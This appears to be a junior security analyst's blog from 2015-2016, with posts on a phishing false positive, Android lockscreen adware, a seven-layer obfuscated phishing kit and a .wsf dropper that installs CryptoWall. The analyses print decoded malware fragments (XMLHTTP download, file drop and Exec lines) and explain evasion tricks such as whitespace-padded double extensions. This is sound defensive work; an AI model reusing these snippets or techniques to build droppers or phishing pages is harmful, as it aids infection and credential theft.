Monday, June 27, 2016

Fasterized Phishing Fail

Hi all, so this a quick and short post about an epic fail involving a bank, AV vendors and SaaS provider.

So, im minding my own business, thinking to go phishing some new shizzle, and all of the sudden le wild credit-agricole phish appears

checking VT and a whopping 10/67 results say this a phish! hide yo kids, hide yo pass
so me, as kind of n00b, thought, hey those people at those vendors have more experience, they must know what they talking about.
so i started to snoop around as that domain shadowing seemed quite interesting.
apparently the AV vendors dont know what they are doing, its either the horde detection, or bad detection algorithm, because as soon as i checked what it is i immediately found those funny domains belong to fasterize a service that act as a smart proxy for your site to reduce bandwidth and reduce load times of the pages, apparently it also the fast track to get your site blacklisted for "phishing" because the url mimic the real credit-agricole site.

conclusion, blacklisting is crap, there always will be another bad domain, but whitelisting would save the embarrassment here, i think fasterize is a new service and they should communicate with AV vendors with aggressive blacklists if they want to offer their service to banks.

bonus: they need to update their certificate

Tuesday, May 17, 2016

Android super charge crap lockscreen

its been a while, quite busy with... stuff...
but here is a quick post about something annoying.
after i have updated several apps on my android phone, suddenly i noticed a weird lock screen.
my first reaction was WTF, because after i swiped, my original lock screen appeared.
so i looked at list of updated applications, looked at all my installed apps, but nothing was really standing out.
so i looked in google, and it is appears to be a new trend for unknown reason.

here are few links:

and i even spotted one of the apps that have been updated to be on this thread:

so, i was quite confident this wasn't some malware (although i don't have anything worthy on my phone) and in the worst case im suffering some excessive battery drain (all those apps are fake shit, i hope you know that) and maybe i will get some ads, although i didnt get any :<

the easiest solution was of course just to uninstall the shit and see how it goes, but i decided to be more technical, and try to do some adb shell "magic" :

adb shell dumpsys window windows | grep -E 'mCurrentFocus|mFocusedApp'
so... it was indeed the photo editor...

here are some pictures of this magnificent app:

i must say that the settings actually worked, and it disabled that lock screen, and right after that i uninstalled it.

another note: the lock screen would appear only when the phone is charging (so you could  get the super duper mega fast charge boost)

Thursday, December 17, 2015

base64 fileless phishing kit

Phishing kits are boring most of the time, and you cant fight stupid (users).
I have recently came across an interesting kit, thumbs up for the threat actor, if he only worked a bit on his e-mail that he sends to victims (cant share), and it could be much deadlier.

So how this works?
1) Threat actor sends bunch of emails to a big victim list, the email message is some "blabla please sign to DocuSign to view the document in google docs" etc...

Sometime the emails are in html formats so they change the <a href > tag so it would look like legit link when you hover over it, but when you click it sends to a different url.
In this case the attacker chose to use url shortening:

This url is pointing to:
hXXp:// ....

full url:

JQuery you say? The data is base64 blob, if we copy the blob (starting with "PFN") to some decoder we will get some nice clear text like:

<Script Language='Javascript'>



Bang, 2nd layer of obfuscation, a JS with unescape obfuscation.
After decoding that we get another clear text, with yet another script!
<script language="javascript" type="text/javascript">var l1l='=oQKpkyJ8dCK0lGbwNnLnkXYsB3cpRmMywHf


Damn son, 3rd layer of obfuscation, with another JS code, containing eval and some custom encryption. Even if we beautify the code it still look nasty.
I don’t really care going all the code with debugger to see exactly what happens, and probably you as well, so lets create an html file with the JS code and change the "eval(_1OI(_1I1(l1l)));" function in the end to "window.alert(_1OI(_1I1(l1l)));"
This simply will print us the evaluated code in an alert box, and if we will open it in a browser we will get the result:


w00t? another eval with custom encryption? 4 obfuscation layers for phishing? dude, you are crazy!
Ok, lets do the trick of window.alert instead of eval again?
Unfortunately the new code is too long for the alert box so it is cut before the end and trying that trick will result an empty page.
So lets go back and change the "eval/window.alert" to "document.write".
We know it is safe to do because we saw in the first trick the output is eval, and not <script>.


Ok, now i got stuck for a while, because i tried to apply the previous methods and they didn’t work, while adding document.write to the eval would show the phishing page.
After some googling i found
Used #2 - The Tom Liston Method, i got in the result another eval that looked very familiar to the one i had, i thought maybe i did something wrong, so i pasted the output in my html page to show me code after "eval".
Once again the result was with "eval", this time i noticed there is a slight change to the code, so i continued changing my html with the output of showme().
After 3 or 4 times i ran this i got a new code in the text area:
"var _escape='%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%20%20%3Chead%3E%0A "

Another obfuscation!!!


Ok, this finally looks like the end of the saga, in the end there is a check if the user agent is Rambler or Yandex, Russian sites, guess the attacker is Russian and doesn’t want to phish his own people, another check for "Yaho" , guess this is a typo, and finally unescape the "var _escape" and write the pure html to the page.

So here is the final result:
this was actually picked up by my ISP content filtering, so this 7 layer fileless obfuscation actually works quite well to bypass many filters.


block hXXp://

Wednesday, December 16, 2015

.wsf malware?

So i've stumbled upon something "new", a .wsf file , this is basically a fancy .vbs file.

URL to sample (as sent in the mail from threat actor, the usual invoice bull crap)
MD5 70ca3b4d70f564348e2d3ba903e78b5e
SHA1 e5023bd075a47b6de994d4ea7c757fa7ce7fcbb4
SHA256 9c007e99407b961ad34baa86b017867f75628f28b642e37ea1635ee5b1aa83e6

Now if we open that file we will see in the first line and few hundreds following a gibberish text like this:
"/*Gelder Sunbelt Discontent Hookey Chared
Infarct Hydrostatics ..."
This is basically one big comment that is meant for evasion from AV/analysts/ninjas...
After few more lines you will find the end of the comment, start of the .wsf file (job), and a new comment...
More blablabla and we will find the most interesting part:
"Eviscerates Franking Anesthesiology Shamefaced
Streetlight Floorings*/

#@~^Wl8AAA==&JytksAmAhmU$kL?kxL!(ybn1.m$4[:wXVmp:Ph\X}hUd} s-3Hs\-"
The string "#@~^" indicates that this is encrypted vbs (.vbe), i have encountered such before, but i have never actually could find a good working method to decode them, up until now.
A user named "Hackoo" at stack overflow posted this nice code that does the job perfectly
After we decode the .vbe we get some more gibberish, like this:
"if (!nAkTeFqOrAeRcwmTaBmAhangdYaVmLhHuExSkLgEedqGrGwSuCnHatiScgug.fileexists(aIcNlbnOkdsItSgUnTihbIfcfBrGaakHgIfCiWwWdVfamwciqG+'\\qAcTyGsrkHlBagwS.doc')) {
var  bQgadMaXdIiIfPuOyCpZfZxocXlLmZslmtgSbV=WScript.CreateObject('MSXML2.XMLHTTP');'PUT','',false);

Again, the threat actor using // comments to make the untrained eye to fail to find ""

So after removing the comments from the decrypted .vbe we end up with an easy .vbs file that connects to: 
You think the threat actor finished with trying to fool us? Think again, here comes the most interesting stuff:
In sandbox analysis the .wsf file drops and .com (PE) and .doc file.
You can see that in the decoded .vbe strings:
"zHqnrMwaqnaHscsuvNsZyGkSetgTsMsywT.Exec(aIcNlbnOkdsItSgUnTihbIfcfBrGaakHgIfCiWwWdVfamwciqG + '\\');
gUntydcFbSphhglgyWeNgDkZgYuNlBoDxm.SaveToFile(aIcNlbnOkdsItSgUnTihbIfcfBrGaakHgIfCiWwWdVfamwciqG + '\\qAcTyGsrkHlBagwS.doc');"

The .doc file is clean and it is a decoy to the .wsf file, the file that is saved is actually named "INVOICE_8329380DF.doc                                                                                                                                                                                                           .wsf"
So even if you have extensions enabled in view, all the blank spaces move the extension so you barely see it, and the user thinks that he opened a .doc file, so he expects a .doc file to be opened, which actually happens with this dummy file.

doc md5:  03dc2be6251417386887ed968482deb2

Now, check.php with PUT request in the .vbe caused to download .com file
But if you try to go to that URL yourself you will get this little fella:

x-mas.jpg - md5: b2d625408dfc0347e8202c9ccd36adbb
This nice x-mass greeting is in Russian (Хуй? пизда? джигурда!)
And the two words are common curse words, the 3rd one stumbled me and i have found the explanation for this phrase:
If you don’t know Russian that put the English captions, they are hilarious! 
So it looks like yet another method of keeping ninjas out, but i have the .com file from the sandbox analysis, maybe if i tried getting it with put like the .vbs or changing user agent i would get it as well.
So what is this final payload? Oh this is just cryptowall (4?)

md5: 908185de411e7e513535599540932caa

How do i know it is cryptowall? If your sandbox is good, the malware will decrypt files, delete shadow volume, and will create help_decrypt files that say welcome to the cryptowall family.

Every time i ran it i got different C&C, here are some: ( ( ( ( ( ( (

From quick search it looks like the C&C are compromised servers

The dropped files domain ( looks fairly new, and if you wasn’t sure the threat is Russian here is another nail to the coffin:
Looks like the actor wanted to verify his new domain is reachable 
and some registrant info:

Thursday, December 3, 2015


Hi all, and welcome to my blog.
This is an introduction post to my blog, which will have posts about the adventures of a junior security analyst, the opinions and thoughts expressed here are my own and all that bla bla...
In our area of cyber security that threats always change, i have found that personal blog posts are the best source for information, i have learned myself a lot from such posts, and i will constantly add blogs to my reading list, as soon as i figure out how it works.
I thought about opening my own blog for a while now, to share back, but i haven't got anything interesting to write about, up until recently.
So this blog should have posts in an easy and detailed way so other people could use the info to learn new things as i did.
So stay tuned for the soon to be first detailed post about a threat i have found.